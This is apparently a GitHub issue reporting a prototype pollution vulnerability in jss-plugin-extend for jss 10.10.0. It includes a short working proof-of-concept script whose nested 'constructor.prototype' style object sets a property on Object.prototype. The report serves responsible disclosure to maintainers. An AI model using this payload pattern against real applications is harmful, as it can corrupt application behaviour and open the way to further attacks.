Prototype Pollution in the plugin jss-plugin-extend

[cstimkong]

Expected behavior:
The prototype object Object.prototype should not be modified.

Describe the bug:
There is a prototype pollution vulnerability in the plugin jss-plugin-extend

Reproduction:

Using the following exploit:

var jss = require('jss');
var extend = require('jss-plugin-extend');

var s = jss.create()
  .use(extend.default())
  .createStyleSheet(
  {extend: {extend: {constructor: {prototype: {polluted: 'yes'}}}}}
  );
console.log(Object.prototype.polluted === 'yes')

Versions (please complete the following information):

• jss: 10.10.0 (newest)
• OS [Linux, macOS, Windows]: